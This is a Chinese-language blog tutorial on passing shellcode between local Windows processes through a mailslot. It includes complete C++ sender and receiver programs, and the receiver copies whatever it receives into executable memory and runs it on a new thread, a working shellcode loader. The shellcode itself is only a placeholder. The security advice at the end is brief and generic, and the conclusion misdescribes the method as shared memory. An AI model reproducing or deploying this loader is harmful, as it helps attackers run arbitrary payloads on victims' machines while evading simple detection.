首页 > 系统相关 >C++ 邮件槽ShellCode跨进程传输

C++ 邮件槽ShellCode跨进程传输

时间:2024-01-19 13:01:11浏览次数:35  
标签:HANDLE NAME 指定 C++ NULL ShellCode 邮件

在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题。在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制,使得任何进程都能够成为邮件槽服务器,并通过UDP通信向其他进程发送数据。

邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽,并允许其他进程通过该槽向创建它的进程发送消息。在本文中,我们将使用邮件槽实现进程间的ShellCode传输。如果需要双向通信或更复杂的通信需求,需要考虑其他IPC机制,例如命名管道、套接字等。

服务端部分

服务端端部分的实现非常简单,通过使用MAIL_SLOT_NAME 可以定义邮件槽的名称,该名称用于标识服务端和客户端之间的邮件槽。这是一个字符串常量,按照 Windows 命名约定的格式指定了邮件槽的路径。

让我来解释这个定义的具体含义:

  • \\\\.:表示本地计算机,即当前计算机的命名空间。
  • mailslot:指定邮件槽的类型。
  • Name:是你给邮件槽指定的名称,可以根据实际需要更改。

所以,整个路径 \\\\.\\mailslot\\Name 指代的是一个本地计算机上的邮件槽,其名称为 Name。这个路径会在创建和打开邮件槽时使用,确保两个进程使用相同的路径来通信。

在服务端创建邮件槽时,通过 CreateFile 函数中的 MAIL_SLOT_NAME 参数指定邮件槽的名称,确保服务端和客户端使用相同的名称来建立通信连接。

CreateFile

用于创建或打开文件、文件夹、邮件槽、管道等对象的句柄。在你提供的代码中,CreateFile 主要用于打开邮件槽,以便在服务端写入数据。

以下是 CreateFile 函数的一般形式:

HANDLE CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

参数说明:

  • lpFileName:指定文件或对象的名称,可以是一个路径、文件名或其他标识符。
  • dwDesiredAccess:指定对文件的访问权限,例如 GENERIC_READGENERIC_WRITE 等。
  • dwShareMode:指定共享模式,例如 FILE_SHARE_READFILE_SHARE_WRITE 等。
  • lpSecurityAttributes:指定安全属性,通常设置为 NULL
  • dwCreationDisposition:指定文件的创建或打开方式,例如 OPEN_EXISTINGCREATE_NEW 等。
  • dwFlagsAndAttributes:指定文件或对象的属性,例如 FILE_ATTRIBUTE_NORMAL
  • hTemplateFile:指定一个文件句柄,用于复制文件属性。

如上所示,我们只需要遵循邮件槽的创建流程并使用CreateFile创建通信,当需要传输邮件的时候可以直接调用WriteFile发送邮件,这是一个很好的功能,你可以发送邮件也可以发送各种你喜欢的乱七八糟的东西。

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 

char ShellCode[] = "此处是ShellCode";

int main(int argc, char* argv[])
{
    HANDLE hWriteMailSlot = NULL;
    while (TRUE)
    {
        hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hWriteMailSlot == INVALID_HANDLE_VALUE)
            continue;
        else
            break;
    }
    DWORD dwReturn = 0;

    // 发送邮件槽
    WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
    CloseHandle(hWriteMailSlot);
    return 0;
}

客户端部分

为了实现通信,客户端部分也需要使用邮件槽,在MAIL_SLOT_NAME中指定相同的邮件名,通过CreateMailslot 函数,创建邮件槽(Mailslot),这是一种用于本地进程间通信的机制。邮件槽是一种命名的管道,用于在同一台计算机上的不同进程之间传递数据。

以下是 CreateMailslot 函数的一般形式:

HANDLE CreateMailslot(
  LPCTSTR               lpName,
  DWORD                 nMaxMessageSize,
  DWORD                 lReadTimeout,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

参数说明:

  • lpName:指定邮件槽的名称,形如 \\.\mailslot\your_mailslot_name
  • nMaxMessageSize:指定邮件槽中消息的最大大小。
  • lReadTimeout:指定在读取数据时的超时时间(以毫秒为单位)。
  • lpSecurityAttributes:指定邮件槽的安全属性,可以为 NULL

在代码中,CreateMailslot 用于创建邮件槽:

hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);

这行代码的作用是创建一个邮件槽,使用了预定义的邮件槽名称 MAIL_SLOT_NAME 作为参数,nMaxMessageSizelReadTimeout 都设置为零,表示使用默认值。如果创建成功,hReadMailSlot 将获得一个有效的邮件槽句柄,可以用于后续的数据读取操作。

创建好链接之后接下来就可以通过GetMailslotInfo函数获取邮件了,当然了这个要死循环等待邮件,GetMailslotInfo 用于检查邮件槽的状态信息。它提供了有关邮件槽当前状态的信息,例如有多少消息在邮件槽中、每个消息的大小等。

以下是 GetMailslotInfo 函数的一般形式:

BOOL GetMailslotInfo(
  HANDLE       hMailslot,
  LPDWORD      lpMaxMessageSize,
  LPDWORD      lpNextSize,
  LPDWORD      lpMessageCount,
  LPDWORD      lpReadTimeout
);

参数说明:

  • hMailslot:邮件槽的句柄,通过 CreateMailslot 函数或 CreateFile 函数获得。
  • lpMaxMessageSize:指向一个变量,用于接收邮件槽中单个消息的最大大小。
  • lpNextSize:指向一个变量,用于接收下一个消息的大小。
  • lpMessageCount:指向一个变量,用于接收邮件槽中当前的消息数目。
  • lpReadTimeout:指向一个变量,用于接收在读取数据时的超时时间(以毫秒为单位)。

在你的代码中,GetMailslotInfo 用于获取邮件槽的信息:

bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);

这行代码的作用是获取邮件槽 hReadMailSlot 的信息,其中 cbMessage 接收消息的大小,cMessage 接收消息的数量。这样的信息可以在接收方确定是否有待处理的消息,以及处理这些消息所需的空间。

一般来说当收到了新邮件之后可以直接使用ReadFile函数读出这段邮件,读出来的邮件就可以直接反弹了,如下代码所示;

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;

DWORD WINAPI ReadMail()
{
    hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
    if (hReadMailSlot == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 查看油槽的信息
    DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
    BOOL bOk = FALSE;

    char ShellCode[4096] = { 0 };

    while (TRUE)
    {
        bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
        if (bOk == FALSE)
            break;
        if (cMessage == 0)
            continue;
        else
        {
            if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
            {
                HANDLE hThread = NULL;
                cout << ShellCode << endl;
                
                // 注入ShellCode并执行
                void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                CopyMemory(ptr, ShellCode, sizeof(ShellCode));

                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

int main(int argc, char* argv[])
{
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
    Sleep(INFINITE);
    if (hReadMailSlot != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hReadMailSlot);
    }
    return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:

  1. 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
  2. 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
  3. 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。

总结

本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。

标签:HANDLE,NAME,指定,C++,NULL,ShellCode,邮件
From: https://blog.51cto.com/lyshark/9328549

相关文章

  • C++ 共享内存ShellCode跨进程传输
    在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了......
  • C++简史
    喜欢本篇文章速速点赞评论⭐收藏MISRAC++:2023,MISRA®C++标准的下一个版本,来了!为了帮助您做好准备,我们介绍了Perforce首席技术支持工程师FrankvandenBeuken博士撰写的MISRAC++:2023博客系列的第二部分。在这篇博客中,我们将深入探讨C++的历史、编程语言多年来的发展历......
  • KY129 简单计算器C++
    、这是目前阶段做的最难最吃力的题目。调试了一遍又一遍去看逻辑上出现的各种问题。。。#include<iostream>#include<string>#include<stack>#include<map>usingnamespacestd;intmain(){map<char,int>m={{'+',0},{'-',0},......
  • C++基础
    一、理论      1、虚函数 1.1、定义:​虚函数就是在类中被关键字virtual声明的函数,一般只在基类中声明虚函数。    1.2、规则:                   1、虚函数必须是......
  • C++多线程
    C++多线程的语法以及使用1.线程的创建首先创建一个多线程入口函数threadmain,threadmain函数体中完成子线程所要做的事。接着在主函数中创建线程对象th,调用构造函数,并传递一个函数指针作为入口函数:threadth(treadmain);入口函数为thread构造函数的参数。之后在主线程中......
  • 20. 有效的括号C++
    括号匹配用栈是解决是最简单那的。遇到左括号就入栈。遇到右括号就出栈,然后看是否匹配。这里再用一个map把括号数字化会更简单。classSolution{public:boolisValid(strings){map<char,int>m={{'(',1},{')',-1},{'{',2},{'}',-......
  • KY109 Zero-complexity TranspositionC++
    h很简单的题目,不管是用数组还是用栈都非常简单。#include<iostream>#include<stack>usingnamespacestd;intmain(){intn;while(cin>>n){stack<long>s;while(n!=0){inttem;cin>>tem;......
  • mail邮件的POP、IMAP和SMTP设置教程,简单好用
    在现代社会中,电子邮件已经成为人们日常沟通的重要方式之一。为了能够顺利收发邮件,正确设置邮件客户端的POP、IMAP和SMTP是至关重要的步骤。本文将为大家详细介绍如何进行这些设置,使邮件体验更为简单和便捷。1.POP、IMAP、SMTP是什么?在深入了解如何设置之前,我们先来了解一下这三个......
  • C++内存分配揭秘:new操作符::operator new和Placement new的区别
     在C++中,new 操作符、::operatornew 和placementnew是用于动态内存分配的工具,但它们有不同的用法和行为。以下是它们的区别和用法的详细实例:1.new操作符new 操作符用于在堆上动态分配内存,并调用对象的构造函数初始化对象。#include<iostream>classMyClass{p......
  • Qt/C++自定义界面大全/20套精美皮肤/26套精美UI界面/一键换肤/自定义颜色/各种导航界
    一、前言这个系列对应自定义控件大全,一个专注于控件的编写,一个专注于UI界面的编写,程序员有两大软肋,一个是忌讳别人说自己的程序很烂很多bug,一个就是不擅长UI,基本上配色就直接rgb,对于第一点,只要放松心态,直面自己的不足,不断改进,才能问鼎武林至尊。至于第二点,因为程序员擅长的是逻辑......